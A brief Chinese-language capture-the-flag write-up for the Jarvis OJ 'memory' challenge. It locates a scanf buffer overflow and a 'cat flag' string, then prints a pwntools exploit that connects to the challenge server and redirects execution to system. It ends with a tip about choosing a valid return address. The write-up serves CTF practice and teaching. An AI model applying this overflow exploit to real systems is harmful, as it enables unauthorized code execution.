先找到几个关键函数:
单击main看一下函数结构:
点进mem_test看下:
找到溢出点:scanf
点进去hint发现了cat flag字符串.....
(问题突然变得很简单....ret2libc)
exp:
from pwn import *
#p = process('./memory')
p = remote("pwn2.jarvisoj.com","9876")
e = ELF('./memory')
system_addr = e.symbols['system']
cat_flag = 0x080487E0
payload = 'a' * 0x13 + 'bbbb' + p32(system_addr) + p32(0x08048677) + p32(cat_flag)
p.sendline(payload)
p.interactive()
不过这道题system的返回地址如果随便写个无效地址会出现读不出来flag的问题.....
所以最方便的还是找个有效的地址,快乐的get flag!